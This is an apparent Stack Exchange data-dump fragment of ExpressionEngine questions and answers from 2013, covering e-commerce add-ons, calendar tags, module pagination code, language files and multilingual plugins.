  <row Id="14205" PostTypeId="2" ParentId="14203" CreationDate="2013-09-30T23:05:00.367" Score="1" Body="&lt;p&gt;Almost always optimize caching with the Devot-ee or Solspace addon best suited to your specific site needs is a good idea.  Read &lt;a href=&quot;http://cdn.ctrlclickcast.com/transcripts/2011/eepodcast-055.pdf&quot; rel=&quot;nofollow&quot;&gt;http://cdn.ctrlclickcast.com/transcripts/2011/eepodcast-055.pdf&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-09-30T23:05:00.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14206" PostTypeId="2" ParentId="14147" CreationDate="2013-09-30T23:05:17.073" Score="1" Body="&lt;p&gt;Cartthrob would be the way forward in my eyes. You'd have everything you need (after a few addons are bought). For the events, I'd go with Low Events and set it up in CT as a product channel. You could the use inventory like ticket/seats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channels&#xA;- merchandise, standard CT products&#xA;- membership, CT subscriptions. Re-billing is quite straightforward etc&#xA;- events, product channel with low events&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only used brilliant retail once, and found it very limiting. Getting the right data out for the clients bookings etc would prob be a pain. I'd also check out the docs for rEEservations as I avoided using it in the past because it too is quite limiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like a good project! Good luck with it.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-09-30T23:05:17.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="2" ParentId="14155" CreationDate="2013-10-01T01:19:51.633" Score="1" Body="&lt;p&gt;The keyword here is &lt;strong&gt;upcoming&lt;/strong&gt; events. If you're looking to display entries in a chronological order (such as upcoming events), use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. It's the only tag that can do that kind of accurate ordering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More detailed on why {exp:calendar:cal} should be used, and how other main Calendar tags work, please refer to this very useful documentation page: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove recurring events from the listing created by {exp:calendar:cal}, you can use the &lt;code&gt;{if event_recurs}{/if}&lt;/code&gt; conditional: &lt;a href=&quot;http://www.solspace.com/docs/calendar/events//#if_event_recurs&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/events//#if_event_recurs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, most of the conditionals listed in {exp:calendar:events} are available for use within the {events}{/events} tag pair inside {exp:calendar:cal}.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-01T01:19:51.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14208" PostTypeId="1" CreationDate="2013-10-01T02:31:53.893" Score="2" ViewCount="41" Body="&lt;p&gt;I know why it's redirecting (b/c the cart is empty) but I'm not sure why refreshing on the checkout page is causing the cart to be emptied. Any idea? Latest install of all of the above, just upgraded.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-10-29T02:54:13.050" Title="Refreshing on checkout page empties cart and redirects" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14209" PostTypeId="2" ParentId="14204" CreationDate="2013-10-01T06:39:12.120" Score="5" Body="&lt;p&gt;Take a look at the columns in exp_matrix_data table in the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it have a field var_id? If no, then the version you should set is 2.2.&lt;/li&gt;&#xA;&lt;li&gt;If yes, does it have a field is_draft? If no, then the version you should set is 2.3&lt;/li&gt;&#xA;&lt;li&gt;If yes, then the version you should set is 2.5.8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, set the version number we determined in the previous three steps for the Matrix field in the exp_fieldtypes table and go visit the Add-ons -&gt; Fieldtypes -&gt; Matrix page and hit submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be all working now.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-01T06:39:12.120" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14210" PostTypeId="1" CreationDate="2013-10-01T09:01:29.717" Score="2" ViewCount="114" Body="&lt;p&gt;I need to include a text editor in a custom module developed. Can anyone help how to include WysiHat or Rich text editor in a form in the module addon developed?&lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="69" LastEditDate="2013-10-26T02:34:53.020" LastActivityDate="2013-12-04T21:03:54.133" Title="How to include text editor in third party module for CP?" Tags="|add-on|control-panel|module|editor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="1" AcceptedAnswerId="14215" CreationDate="2013-10-01T10:52:23.753" Score="1" ViewCount="447" Body="&lt;p&gt;I'm building a site that is going to offer some free PDF downloads (reports, guides etc.) but the client would like to collect the users email in return for the download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the best way to do this using ExpressionEngine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, all help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-10-01T14:24:33.473" Title="How to capture a users email address before offering a download?" Tags="|email|url|html|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="1" CreationDate="2013-10-01T12:33:18.517" Score="1" ViewCount="112" Body="&lt;p&gt;If I have an item (for instance, a concert VIP Package, that includes a T-Shirt.. ) that is single SKU with a modifier (T-Shirt Size..), is there any straightforward way to generate a report with a count of the number of each modifier sold?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a SQL COUNT that joined exp_store_orders to exp_store_order_items but modifiers ia base64 encoded JSON string...&lt;/p&gt;&#xA;" OwnerUserId="1818" LastActivityDate="2013-10-01T22:29:37.240" Title="Products Sold by Modifier" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14213" PostTypeId="1" CreationDate="2013-10-01T13:16:49.350" Score="1" ViewCount="150" Body="&lt;p&gt;I am currently using Expresso Store for non-members to purchase printable tickets for events. I don't want to require account creation for the checkout process but am concerned that a ticket purchaser will not receive an email with the order details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to modify the order email and resend the confirmation mail. Is there anyway to do this with Expresso Store?&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-10-01T22:24:40.120" Title="Expresso Store - Resend Order Email" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="2" ParentId="13782" CreationDate="2013-10-01T13:34:31.663" Score="0" Body="&lt;p&gt;Expression Engine 2.7.1 solved the reported issue by adding $config['newrelic_app_name'] = 'My Site'; to the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after upgrading from 2.7.0 to 2.7.1 the site no shows up 3 times in the NewRelic panel as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine v2.7.0 (the old site)&lt;/li&gt;&#xA;&lt;li&gt;ExpressionEngine v2.7.1 (the upgraded)&lt;/li&gt;&#xA;&lt;li&gt;My Site - ExpressionEngine v2.7.1 (the upgraded + app name in the the config file)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-10-01T13:34:31.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="2" ParentId="14211" CreationDate="2013-10-01T14:24:33.473" Score="2" Body="&lt;p&gt;I think your best bet would be to use &lt;a href=&quot;http://www.solspace.com/docs/freeform&quot; rel=&quot;nofollow&quot;&gt;Solspace Freeform&lt;/a&gt; then. The free version will work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your form as normal using the &lt;code&gt;{exp:freeform:form}&lt;/code&gt; tag. And set the return parameter to include the form entry ID, like this: &lt;code&gt;return=&quot;template_group/template/%%entry_id%%&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on your return template, use the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag, passing the entry ID from the URL into the entry_id parameter &lt;code&gt;entry_id=&quot;{segment_3}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the entries tag pair, you can use the no results variable pair to handle if the entry ID is invalid. &lt;code&gt;{if freeform:no_results}Sorry, no results were found.{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's just a matter of putting whatever HTML you want to show your download to the user.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-01T14:24:33.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14216" PostTypeId="2" ParentId="14180" CreationDate="2013-10-01T15:02:05.183" Score="1" Body="&lt;p&gt;Photo Frame is a great utility for this, and has loads of advanced settings so it can work exactly how you need. It's different approach to image editing and manipulation. It has a new Focal Pack that allows clients to define a focal point when uploading a photo, then you (the developer) can crop it in any way you need within the template. You could use &lt;code&gt;{exp:photo_frame:resize}&lt;/code&gt; tag, or you could even use CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing about using focal points to crop vs actually cropping, is you can resize this photo is so many ways and shapes, without compromising the shot and center point of the focal. You never know when in the future you want to reuse the same photo, with a 1:3 ratio in addition to a 1:10 with the same exact center point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resize Tag Reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/photo-frame/documentation/tag/resize&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame/documentation/tag/resize&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on Photo Frame and the Focal Pack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/photo-frame-1.2&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/photo-frame-1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-01T15:02:05.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14217" PostTypeId="1" AcceptedAnswerId="25944" CreationDate="2013-10-01T15:05:20.467" Score="2" ViewCount="365" Body="&lt;p&gt;I'm working on an extension that indexes the content of the entry when publish form is submitted, but I need to know if the entry is a new one or an updated one, and in both case, I need the entry_id (the new one juste created or the old one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know a way to do that? Should I use an other hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Solution--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, entry_submission_end come with 3 parameters: entry_id, meta and data. If the entry is a new one, entry_id contains the new entry_id but $data['entry_id'] is 0, so you can have a condition on that to check if you are editing or creating an entry.&lt;/p&gt;&#xA;" OwnerUserId="190" LastEditorUserId="190" LastEditDate="2013-10-02T08:52:07.937" LastActivityDate="2014-09-29T16:51:06.113" Title="With the hook entry_submission_end, is it possible to know if the entry is inserted or updated?" Tags="|add-on-development|extension|hook|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14218" PostTypeId="2" ParentId="14203" CreationDate="2013-10-01T15:11:09.390" Score="4" Body="&lt;p&gt;Checkout the EE Debug Toolbar. It's a great utility for seeing where your bottlenecks. Main place to check is memory consumption and db queries. My guess is it's a combination of both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Debug Toolbar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee-debug-toolbar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version of EE is also compatible with New Relic, check this out. It's software specifically designed for this and EE is compatible with it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://newrelic.com/&quot; rel=&quot;nofollow&quot;&gt;https://newrelic.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-01T15:11:09.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14219" PostTypeId="1" AcceptedAnswerId="14222" CreationDate="2013-10-01T16:04:37.643" Score="1" ViewCount="60" Body="&lt;p&gt;I have simple links such as: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; href=&quot;{path='PCP/alliance_blog/'}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the result in the url bar will be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/PCP/Index#.UkryCGTXhvk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^ What is the deal with the &quot;#.xxxxxx&quot; code being generated here? Other sites I've worked on and built out do not have this issue. Admittedly this site is absolutely enormous compared to them..&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2013-10-01T17:43:41.780" Title="Random strings in my url's for all navigation" Tags="|url|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14220" PostTypeId="2" ParentId="14213" CreationDate="2013-10-01T16:09:41.133" Score="2" Body="&lt;p&gt;In Store you can have multiple order emails and multiple order statuses. The easiest way to send a second email would be to assign a new template to an additional Order status. Then when you change the order status the second email will be sent. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-01T16:09:41.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14221" PostTypeId="1" CreationDate="2013-10-01T16:36:30.967" Score="2" ViewCount="292" Body="&lt;p&gt;I just updated to EE 2.7.1 and now using Channel Form in place of Safecracker. I can't seem to sort these two bugs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Any existing 'file' custom fields behave as if they are required, throwing up the error &quot;You did not select a file to upload.&quot; if left empty. (edit: this also happens in the CP, not just Channel Form problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The datepicker creates undefined text like this: &quot;2013-10-01un1efine1&quot;. It does work if I use {field:my_date} but then get the localised/fixed select menu, and the only way to remove it is to hide it using css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested to hear anyone else's problems with the Safecracker to Channel Form problems.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-10-01T17:04:41.210" LastActivityDate="2013-10-11T15:17:42.553" Title="Updating from Safecracker to Channel Form" Tags="|safecracker|channel-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14222" PostTypeId="2" ParentId="14219" CreationDate="2013-10-01T17:43:41.780" Score="1" Body="&lt;p&gt;I assume you're using AddThis on your site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable the &quot;click tracking&quot; that they add to URLs by following instructions on the &lt;a href=&quot;http://support.addthis.com/customer/portal/articles/381252-click-tracking#disabling&quot; rel=&quot;nofollow&quot;&gt;AddThis&lt;/a&gt; site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using AddThis, I'd imagine you're using another service that does something similar.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-01T17:43:41.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14223" PostTypeId="1" AcceptedAnswerId="14227" CreationDate="2013-10-01T18:58:40.090" Score="1" ViewCount="637" Body="&lt;p&gt;I added pagination to a module, in a mod.filename.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code, it outputs the pagination (after it lists all the reviews) if you pass yes into the template tag parameter as seen below. After you click the first link for pagination, it appends the number to the end of the URL (ex: domain.com/news/1), then if you click another pagination link, it appends another number to the URL, (ex: domain.com/news/1/1). I know why this happens, because I am fetching the current URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can pass segments into a parameter to append in the mod file, but I am looking for the cleanest, easiest (on the user) way possible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:module_name:reviews entry_id=&quot;{entry_id}&quot; entry_type=&quot;electronics&quot; pagination=&quot;yes&quot;}&#xA;  // template tags&#xA;{/exp:module_name:reviews}&#xA;&#xA;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;}&#xA;&#xA;private function paginate($entry_id, $entry_type)&#xA;{&#xA;    $p_config['base_url'] = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_current_uri();&#xA;    $where = array(&#xA;        'entry_id'      =&amp;gt;  $entry_id,&#xA;        'entry_type'    =&amp;gt;  $entry_type,&#xA;    );&#xA;&#xA;    $p_config['total_rows'] = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where($where)-&amp;gt;count_all_results('bmi_review');&#xA;    $p_config['per_page'] = 1; &#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;initialize($p_config);&#xA;    $vars['pagination'] = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create_links();&#xA;&#xA;    return $vars['pagination'];&#xA;}&#xA;&#xA;public function reviews()&#xA;{&#xA;    $entry_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id', false);&#xA;    $entry_type = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('entry_type', false);&#xA;    $pagination = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('pagination', false);&#xA;&#xA;    $reviews = $this-&amp;gt;_get_data(&quot;reviews&quot;);&#xA;&#xA;    $output = '';&#xA;    $count = 0;&#xA;&#xA;    if(count($reviews) === 0)&#xA;        return false;&#xA;&#xA;    foreach($reviews as $review)&#xA;    {&#xA;        $count++;&#xA;&#xA;        $vars = array(&#xA;            'review'            =&amp;gt;  $review-&amp;gt;review,&#xA;            'review_author'     =&amp;gt;  $review-&amp;gt;author,&#xA;            'review_date'       =&amp;gt;  $review-&amp;gt;date,&#xA;            'review_count'      =&amp;gt;  $count,&#xA;            'review_total'      =&amp;gt;  count($reviews),&#xA;        );&#xA;&#xA;        $output .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;    }&#xA;        if($pagination == &quot;yes&quot;)&#xA;            $output .= $this-&amp;gt;paginate($entry_id, $entry_type);&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-10-01T19:36:05.863" Title="pagination with current URL in custom module" Tags="|add-on-development|module|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14224" PostTypeId="1" CreationDate="2013-10-01T18:59:36.797" Score="0" ViewCount="59" Body="&lt;p&gt;Hopefully simple question but does anyone know how many levels deep the new native relationships template tags can go?  The docs show examples going three levels deep but doesnt mention if there is any limit that would prevent you from going four or five levels down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#child-entries-showing-games-and-teams-in-a-season&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#child-entries-showing-games-and-teams-in-a-season&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2013-10-08T17:46:13.097" Title="How many levels deep can relationships go?" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14225" PostTypeId="1" CreationDate="2013-10-01T19:18:08.537" Score="1" ViewCount="1507" Body="&lt;p&gt;in a custom add-on I am writing I am using Upload library. I cannot use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library&lt;/code&gt; function because I'm rewriting some code, so I'm creating instance using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! class_exists('CI_Upload'))&#xA;{&#xA;    require_once BASEPATH.'libraries/Upload.php';&#xA;}&#xA;&#xA;if ( ! class_exists('EE_Upload'))&#xA;{&#xA;    require_once APPPATH.'libraries/EE_Upload.php';&#xA;    $UP = new EE_Upload;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error messages that Upload class may return are stored in /codeigniter/system/language/english/upload_lang.php file (so in CodeIgniter folder, not in ExpressionEngine folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added &lt;code&gt;$this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('upload');&lt;/code&gt; in the beginning of the function that - but that does not help, I still see error message keys, not their language values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how to load CodeIgniter's language file into add-on?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2013-10-02T10:19:51.730" LastActivityDate="2013-10-02T10:19:51.730" Title="How to load CodeIgniter language file into ExpressionEngine add-on?" Tags="|add-on-development|codeigniter|language|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14226" PostTypeId="1" AcceptedAnswerId="14250" CreationDate="2013-10-01T19:19:28.263" Score="1" ViewCount="63" Body="&lt;p&gt;I know that not being able to create accounts during checkout was a bug in the initial release of Store 2 which was fixed in a recent update, so I'm wondering if this is a bug as well, or if i shall continue troubleshooting? This was working for me in the previous version of Store (pre 2), but i could still of course be doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have of course created and mapped the member fields in ee/store admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-10-02T15:46:01.867" Title="Store2 fails to map member fields during account creation in checkout" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14227" PostTypeId="2" ParentId="14223" CreationDate="2013-10-01T19:36:05.863" Score="1" Body="&lt;p&gt;Try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basepath = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url($this-&amp;gt;EE-&amp;gt;uri-&amp;gt;uri_string);&#xA;$query_string = ($this-&amp;gt;EE-&amp;gt;uri-&amp;gt;page_query_string != '') ? $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;page_query_string : $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;query_string;&#xA;&#xA;if (preg_match(&quot;#^P(\d+)|/P(\d+)#&quot;, $query_string, $match))&#xA;{&#xA;    $start = (isset($match[2])) ? $match[2] : $match[1];&#xA;    $basepath = reduce_double_slashes(str_replace($match[0], '', $basepath));&#xA;}&#xA;&#xA;$config['base_url']     = $basepath;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will strip 'P1' segment off your URL.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-10-01T19:36:05.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14228" PostTypeId="2" ParentId="14217" CreationDate="2013-10-01T19:42:52.033" Score="2" Body="&lt;p&gt;You can compare &lt;code&gt;$meta['edit_date']&lt;/code&gt; with &lt;code&gt;$meta['entry_date']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to bring both dates to same format of course, as entry_date contains current timestamp, while edit_date is formatted as '%Y%m%d%H%i%s'&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-10-01T19:42:52.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14229" PostTypeId="1" CreationDate="2013-10-01T19:48:05.613" Score="1" ViewCount="55" Body="&lt;p&gt;When a Wygwam field gets loaded, the first thing you type is within &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags. Is it possible to make the default tag &lt;code&gt;&amp;lt;p class=&quot;something&quot;&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2013-10-02T05:21:56.410" Title="Initiate Wygwam with &lt;p class=&quot;name&quot;&gt;" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14230" PostTypeId="2" ParentId="14226" CreationDate="2013-10-01T20:32:15.913" Score="1" Body="&lt;p&gt;This was fixed in the recent Store 2.0.3 release. For all other bug fixes you can take a look at the &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_203&quot; rel=&quot;nofollow&quot;&gt;Release Notes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-01T20:32:15.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14231" PostTypeId="1" AcceptedAnswerId="14239" CreationDate="2013-10-01T20:32:56.453" Score="0" ViewCount="300" Body="&lt;p&gt;I'm building a EE site and the front end needs to support multiple languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;control panel does not need to support multiple languages&#xA;Needs translations:&lt;/li&gt;&#xA;&lt;li&gt;static content in the front end&lt;/li&gt;&#xA;&lt;li&gt;MAYBE the channel entries (not a strong requirement)&lt;/li&gt;&#xA;&lt;li&gt;field labels need translations&lt;/li&gt;&#xA;&lt;li&gt;having a segment in the URL indicating the language might be useful. It would be good if the language segment allows for something like &quot;en-us&quot;, &quot;en-uk&quot;, etc. and not just &quot;en&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any addon suggestions? Looking for suggestions from people that have actually used such addons. Also, any tips on &quot;gotchas&quot; would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some Addons I've Found&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Publisher, $175 (Honorable Mention, 2012 New Module of the Year), latest update September 9, 2013&lt;/li&gt;&#xA;&lt;li&gt;Transcribe, $150, latest update October 17, 2012&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-10-01T20:38:47.543" LastActivityDate="2013-10-02T07:57:34.137" Title="Mutli-language, i18n, multilingual - addon suggestions?" Tags="|add-on|multi-language|multilingual|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="2" ParentId="14200" CreationDate="2013-10-01T22:21:55.450" Score="1" Body="&lt;p&gt;This was a known issue and fixed in the v2.0.3 release yesterday :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_203&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html#store_203&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-01T22:21:55.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="2" ParentId="14213" CreationDate="2013-10-01T22:24:40.120" Score="1" Body="&lt;p&gt;To resend the email, simply change the order status. You can take advantage of the fact that by default the &quot;order confirmation&quot; email is tied to the &quot;new&quot; order status, and there is nothing to stop you changing a status to the same status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you click &quot;Edit Status&quot; and then immediately hit &quot;Submit&quot; on the order details page, it will resend the order confirmation email for you.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-01T22:24:40.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14235" PostTypeId="2" ParentId="14212" CreationDate="2013-10-01T22:29:37.240" Score="1" Body="&lt;p&gt;Not really (without looping through the orders in PHP which would be very slow). That's the point of having separate SKUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SKU stands for &quot;Stock Keeping Unit&quot;, and so by definition if you want to keep track of how many of each item was purchased you should use separate SKUs. In fact Store already provides built in reports to display how many of each SKU you have sold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Single SKU modifier&quot; was really only added in Store 1 to avoid people having to make up lots of SKUs if they didn't need them. But now in v2 SKU names are no longer required fields, so there is not much need for the single SKU modifier any more, you can just create them as regular multi-SKU products, leave the SKU names blank, and get the advantages of separate reporting etc.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-01T22:29:37.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
